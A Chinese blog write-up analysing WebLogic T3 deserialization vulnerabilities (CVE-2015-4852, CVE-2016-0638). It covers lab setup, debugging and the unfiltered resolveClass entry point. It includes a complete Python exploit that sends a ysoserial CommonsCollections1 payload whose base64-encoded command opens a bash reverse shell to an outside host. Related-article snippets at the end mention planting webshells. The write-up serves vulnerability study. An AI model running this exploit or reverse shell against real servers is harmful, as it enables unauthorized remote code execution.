Weblogic 关于T3协议和二次反序列化分析

VSole2023-04-20 09:31:22

环境搭建

使用https://github.com/QAX-A-Team/WeblogicEnvironmentQAX的自动化搭建

参考:https://www.cnblogs.com/0x7e/p/14529949.html

(ps:ubuntu和centos,windows 感觉都不如kali来的润)

下载对应jdk和weblogic放到对应的文件夹

然后就是修改Dockerfile,因为libnsl这个东西 会安装错误

vim Dockerfile

RUN yum -y install libnsl删除即可 (就只搭建环境浪费了我两天时间)


docker build --build-arg JDK_PKG=jdk-7u21-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=wls1036_generic.jar  -t weblogic1036jdk7u21 .docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic1036jdk7u21 weblogic1036jdk7u21F

(垃圾),到之后从kali中提出文件的时候 会拖不到本地来......

(最后还是 windows本地搭建的,在docker中走代理)

远程调试

mkdir ./middlewaremkdir -p ./coherence_3.7/libdocker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/modules ./middleware/docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/wlserver ./middleware/docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/coherence_3.7/lib ./coherence_3.7/lib

直接拉到本地

如果不想这么麻烦的话可以直接运行对于的.sh脚本,比如这里安装的是1036 jdk是7u21 ,直接运行run_weblogicjdk7u21.sh,自动安装以及自动从容器里面导出jar包。

新建一个web项目 然后

打开wlserver目录

然后add library刚刚导出的coherence_3.7/libmodules

配置远程调试

点击debug

如此便是可以debug了

(搭环境搭了三天了...........) 开团!!!

验证环境

weblogic/wsee/jaxws/WLSServletAdapter.class的handle方法打上断点(如果查不到使用全局搜索即可)

访问http://127.0.0.1:7001/wls-wsat/CoordinatorPortType


关于T3协议

T3协议是Weblogic用于通信的独有的一个协议,Weblogic Server的RMI通信使用它在其他区的Java程序(包括 服务端,客户端,以及其他实例)传输数据。

T3协议的组成

这里借一张图解释一下关于 T3协议的组成

ac ed 00 05是反序列化标志,而在 T3 协议中每个序列化数据包前面都有fe 01 00 00,所以 T3 的序列化标志为fe 01 00 00 ac ed 00 05

并且在发送T3协议的时候 还可以发送多个序列化数据 ,可以替换其中一个的序列化数据 实现反序列化攻击。

借qax的一张图解释

基于T3协议的漏洞

关于T3协议 最开始的漏洞是CVE-2015-4852,随后都是绕过官方的补丁例如:CVE-2016-0638、CVE-2016-3510、CVE-2018-2628、CVE-2020-2555、CVE-2020-2883

CVE-2015-4852

在weblogic收到T3协议的时候

会在weblogic/rjvm/InboundMsgAbbrev.class类中进行反序列化操作的处理

这里重写了readObject

调用了ServerChannelInputStream

ServerChannelInputStream中 重写了resolveClass但是其最终还是调用了父类的resolveClass

简单点说就是 ,resolveClass方法把类的序列化描述加工成该类的Class对象,所以这里也就是入口点

没有任何过滤的调用resolveClass ,可以加载恶意的Class对象

这里放入resolveClass的源码

debug分析

POC:


from os import popenimport struct  # 负责大小端的转换import subprocessfrom sys import stdoutimport socketimport reimport binascii
def generatePayload(gadget, cmd):    YSO_PATH = "./ysoserial-all.jar"    popen = subprocess.Popen(['java', '-jar', YSO_PATH, gadget, cmd], stdout=subprocess.PIPE)    return popen.stdout.read()
def T3Exploit(ip, port, payload):    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    sock.connect((ip, port))    handshake = "t3 12.2.3AS:255HL:19MS:10000000"    sock.sendall(handshake.encode())    data = sock.recv(1024)    data += sock.recv(1024)    compile = re.compile("HELO:(.*).0.false")    print(data.decode())    match = compile.findall(data.decode())    if match:        print("Weblogic: " + "".join(match))    else:        print("Not Weblogic")        return    header = binascii.a2b_hex(b"00000000")    t3header = binascii.a2b_hex(        b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006")    desflag = binascii.a2b_hex(b"fe010000")    payload = header + t3header + desflag + payload    payload = struct.pack(">I", len(payload)) + payload[4:]    sock.send(payload)
if __name__ == "__main__":    ip = "127.0.0.1"    port = 7001    gadget = "CommonsCollections1"    cmd = "bash -c {echo,YmFzaCAtYyAnZXhlYyBiYXNoIC1pICY+L2Rldi90Y3AvMTkyLjE2OC4yLjE0OS84MDAwIDwmMSc=}|{base64,-d}|{bash,-i}"    payload = generatePayload(gadget, cmd)    T3Exploit(ip, port, payload)

var1是我们输入的序列化数据

中间的一系列调用省略 直接到resolveClass类中

这里的var1是AnnotationInvocationHandler,就直接到了cc1的起点

调用getName方法获取类名,之后通过Class.forName方法获取对应的类,因为这里的resolveClass方法是直接使用的父类的该方法,并没有做出任何的安全过滤操作,所以能够实例化任意类

之后的利用T3协议反序列化的都是和黑名单、白名单斗智斗勇的

CVE-2016-0638

这个cve即是绕过2015补丁的也是一个二次反序列化的实例

关于Externalizable

weblogic/jms/common/StreamMessageImpl

可以看到调用了一次readExternal,又调用了一次readObject两次反序列化

这里我们跟进createPayload方法

readInt()读取 输入数据的长度,var0为输入数据

Math.min(var1, Chunk.CHUNK_SIZE * 2)取出chunk长度中较小的一位

将我们的读取到的chunk进行反序列化,重写writeExternal()方法,将需要二次反序列化的数据写入,再次进行序列化即可。ref:https://www.anquanke.com/post/id/250801#h3-8


序列化weblogic
本作品采用《CC 协议》,转载必须注明作者和本文链接
weblogic T3 attack&cve
2023-03-29 10:07:32
定义了固定的t3header和反序列化标志头fe010000。RFC1700规定使用“大端”字节序为网络字节序,所以对生成的payload使用>大端模式打包,I表示unsigned int。CVE-2016-0638复现需要打补丁,找不到懒得打了,简单说一下绕过,不写poc了黑名单列表为:+org.apache.c
接到一个紧急测试任务,只有一个目标名称和一个ip。这样的话webshell的url就无法正常访问了)带上cookie即可正常连接。连接成功后,为了稳定webshell,我们尝试将webshell写入到根目录和静态文件的目录,但是仍会受到强制跳转的影响。于是将webshell内容写入到了在登陆前就能访问的jsp正常文件中,来稳定shell。
通过common-collection相关gadget,想办法调用org.mozilla.classfile.DefiningClassLoader这个类去加载字节码。然后通过T3协议的反序列化漏洞发送给待攻击weblogic服务器。
Weblogic是美国Oracle公司出品的一个应用服务器(application server),确切的说是一个基于Java EE架构的中间件,是用于开发、集成、部署和管理大型分布式Web应用、网络应用和 数据库应用的Java应用服务器。 Weblogic将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中,是商业市场上主要的Java(J
我记得大概是15年年底时,冰蝎作者rebeyond第一个公布出Weblogic T3反序列化回显方法,而且给出了相关的代码。早期的Weblogic序列化利用工具,为了实现T3协议回显,都会向服务器上写入一个临时文件。
WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。
4月17日,国家信息安全漏洞共享平台(CNVD)公开了Weblogic序列化远程代码执行漏洞(CNVD-C-2019-48814/CVE-2019-2725),由于在反序列化处理输入信息的过程中存在缺陷,未经授权的攻击者可以发送精心构造的恶意 HTTP 请求,利用该漏洞可获取服务器权限,实现远程代码执行。官方紧急补丁(CVE-2019-2725)已于4月26日发布。 近日,有消息称CVE-201
前言护网时平时遇到的针对weblogic等中间件漏洞利用以及漏洞扫描的很多,但是我看到某态势的流量的时候发现态势的探针的监测不单单是基于披露的poc或者exp来产生的告警。
最近在网上看到有大佬公布了一个有意思的 Weblogic SSRF ,本质上其实是 Oracle JDBC Driver 中的类在反序列化操作时会自动发送 JDBC 连接,结合 Weblogic T3 反序列化操作就可以实现 SSRF。
该漏洞是继CVE-2015-4852、CVE-2016-0638、CVE-2016-3510之后的又一个重量级反序列化漏洞。
VSole
网络安全专家